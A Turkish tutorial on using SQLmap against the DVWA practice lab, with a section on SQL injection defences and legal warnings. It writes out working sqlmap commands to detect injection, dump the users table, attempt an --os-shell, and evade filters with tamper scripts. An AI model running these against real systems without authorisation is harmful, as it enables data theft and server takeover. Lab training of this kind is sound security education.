SQL Injection (SQLi), web uygulamalarının en eski ve en etkili zafiyetlerinden biridir. Elle sömürmek zahmetli olabilir; işte SQLmap tam burada devreye girer: SQL enjeksiyon açıklarını otomatik tespit eden ve sömüren güçlü, açık kaynaklı bir araçtır. Bu rehberde SQLmap'i, yasal ve güvenli bir lab olan DVWA (Damn Vulnerable Web Application) üzerinde adım adım kullanacağız. Her şey yalnızca kendi lab ortamınız içindir.
Konuda Anlatılacaklar
- SQL Injection ve SQLmap nedir
- Lab kurulumu: DVWA ve güvenlik seviyesi
- Oturum/çerez ile kimlikli tarama mantığı
- SQLmap temel parametre referansı
- Uygulamalı: veritabanı, tablo ve veri çıkarımı
- İleri seviye: risk/level, --os-shell, tamper
- Sonuç, kaynakça ve yasal uyarı
1. SQLi ve SQLmap Nedir?
SQL Injection, kullanıcıdan gelen girdinin doğrudan bir SQL sorgusuna karıştırılmasıyla, saldırganın sorgunun mantığını değiştirebilmesidir. Sonuç; yetkisiz veri okuma, kimlik doğrulama atlatma, hatta bazı durumlarda sunucuda komut çalıştırmaya kadar gidebilir.
SQLmap, bu açıkları otomatik keşfeden ve sömüren bir araçtır. Boolean-based, error-based, time-based blind, UNION-based gibi birçok enjeksiyon tekniğini destekler; MySQL, PostgreSQL, MSSQL, Oracle gibi pek çok veritabanını tanır ve veri çıkarımını otomatikleştirir.
2. Lab Kurulumu: DVWA
DVWA, kasıtlı olarak zafiyetli bir PHP/MySQL uygulamasıdır ve öğrenmek için idealdir. En kolay yol Docker ile çalıştırmaktır:
sudo docker run --rm -it -p 80:80 vulnerables/web-dvwaHedefimiz "SQL Injection" sayfasıdır; URL şu kalıptadır:
http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit3. Oturum/Çerez Mantığı
DVWA giriş gerektirir; SQLmap'in de aynı oturumu kullanması için çerezi vermeliyiz. Tarayıcının geliştirici araçlarından (Application > Cookies) PHPSESSID ve security çerezlerini kopyalayın. Bunları --cookie ile SQLmap'e aktaracağız.
4. SQLmap Parametre Referansı
-u - Hedef URL (enjekte edilecek parametreyi içerir):
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit"--cookie - Kimlikli istek için oturum çerezi:
--cookie="PHPSESSID=abcdef123; security=low"-p - Hangi parametrenin test edileceği:
-p id--dbs - Erişilebilir veritabanlarını listele:
--dbs-D / --tables - Bir veritabanının tablolarını listele:
-D dvwa --tables-T / --columns - Bir tablonun sütunlarını listele:
-D dvwa -T users --columns--dump - Verileri çıkar (döküm al):
-D dvwa -T users --dump--batch - Soruları varsayılanla otomatik yanıtla (etkileşimsiz):
--batch5. Uygulamalı: Veritabanından Veri Çıkarma
Adım 1 - Enjeksiyon tespiti. Önce parametrenin zafiyetli olup olmadığını doğrulayalım:
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abcdef123; security=low" -p id --batchAdım 2 - Veritabanlarını listeleme:
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=abcdef123; security=low" --dbs --batchAdım 3 - dvwa veritabanının tabloları:
sqlmap -u "..." --cookie="..." -D dvwa --tables --batchAdım 4 - users tablosunu dökme:
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump --batch6. İleri Seviye: Level, Risk, Shell ve Tamper
--level ve --risk: Daha fazla test vektörü ve daha agresif teknikler için (1-5 ve 1-3); yüksek değerler daha kapsamlı ama daha gürültülüdür:
sqlmap -u "..." --cookie="..." --level=5 --risk=3 --batchHigher security seviyeleri: DVWA'da güvenlik "Medium" (POST + sayısal) veya "High" olduğunda, isteği -r ile bir dosyadan (Burp'tan kaydedilen ham istek) besleyebilir veya --data ile POST gövdesi verebilirsiniz:
sqlmap -r istek.txt -p id --batch--os-shell: Uygun koşullarda (dosya yazma yetkisi, yol bilgisi) işletim sistemi kabuğu dener. Bu, yüksek etkili bir adımdır ve yalnızca kendi lab'ınızda denenmelidir:
sqlmap -u "..." --cookie="..." --os-shell --batch--tamper: Basit WAF/filtre atlatma için yük dönüştürme betikleri (yalnızca yetkili testlerde):
sqlmap -u "..." --tamper=space2comment --batch7. Savunma Tarafı
SQLmap'i öğrenmenin asıl amacı savunmayı güçlendirmektir. SQL Injection'a karşı temel önlemler:
- Parametreli sorgular / prepared statements: Girdiyi koddan ayırır; en etkili çözümdür.
- En az ayrıcalıklı DB kullanıcısı: Uygulama hesabı yalnızca ihtiyaç duyduğu tablolara erişsin.
- Girdi doğrulama ve çıktı kodlama: Beklenen tipi zorlayın.
- WAF: Ek katman olarak faydalıdır ama tek başına yeterli değildir.
7.1. SQLmap Çıktısını Doğru Okumak
SQLmap güçlü bir araç olsa da, çıktısını doğru yorumlamak aracı çalıştırmak kadar önemlidir. Araç bir parametreyi test ederken hangi tekniklerin işe yaradığını açıkça raporlar: boolean-based blind, error-based, time-based blind ve UNION query. Bu tekniklerin ne anlama geldiğini bilmek, bulgunun gerçekliğini ve etkisini değerlendirmenize yardımcı olur. Örneğin time-based blind, uygulamanın hata vermeden sessizce zafiyetli olduğunu gösterir ve genellikle en yavaş ama en güvenilir yöntemdir; UNION query ise veriyi tek istekte büyük miktarda çekebildiği için en hızlısıdır.
SQLmap sonuçlarını bir oturum dosyasında önbelleğe alır; aynı hedefi tekrar çalıştırdığınızda tespit aşamasını atlayıp doğrudan devam eder. Bu hız kazandırır, ancak hedef değiştiyse yanıltıcı olabilir; temiz bir test için --flush-session kullanarak önbelleği temizleyebilirsiniz. Ayrıca aracın ürettiği tüm istek ve yanıtları ve çıkarılan verileri bir çıktı dizininde saklar; raporlama yaparken bu çıktı dizini delil zincirinizin bir parçası olur.
Gerçek bir yetkili testte gürültü ve etki yönetimi kritiktir. Yüksek --level ve --risk değerleri çok daha fazla istek üretir ve üretim sistemlerinde performans sorunlarına yol açabilir; bu yüzden kapsamınızı ve müşterinizle anlaştığınız sınırları her zaman gözetin. --dump ile koca bir tabloyu çekmeden önce, gerçekten o veriye ihtiyacınız olup olmadığını düşünün; çoğu zaman zafiyetin varlığını ve birkaç örnek kaydı göstermek, tüm veritabanını indirmekten daha profesyonel ve daha az risklidir. Amaç, bulguyu kanıtlamak ve kapatılmasını sağlamaktır; veri hırsızlığı değil.
Sonuç
SQLmap, SQL Injection tespit ve sömürüsünü otomatikleştiren son derece güçlü bir araçtır; DVWA ise bunu güvenle öğrenmek için ideal bir sahadır. Önce Low seviyede temel akışı (tespit > dbs > tables > columns > dump) oturtun, ardından level/risk ve farklı güvenlik seviyeleriyle derinleşin. Unutmayın: amaç yıkmak değil, zafiyeti anlayıp parametreli sorgularla kapatmaktır.
Kaynakça
- SQLmap Resmi Sitesi ve Wiki - https://sqlmap.org
- SQLmap Kullanım Belgeleri - https://github.com/sqlmapproject/sqlmap/wiki/Usage
- DVWA Resmi Deposu - https://github.com/digininja/DVWA
- OWASP SQL Injection - https://owasp.org/www-community/attacks/SQL_Injection
- OWASP SQL Injection Prevention Cheat Sheet - https://cheatsheetseries.owasp.org/cheat...Sheet.html
Yasal Uyarı
Alıntı:SQLmap yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde kullanılmalıdır. İzinsiz SQL enjeksiyonu ve veri erişimi Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur. DVWA'yı daima yerel/izole ortamda çalıştırın.
Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).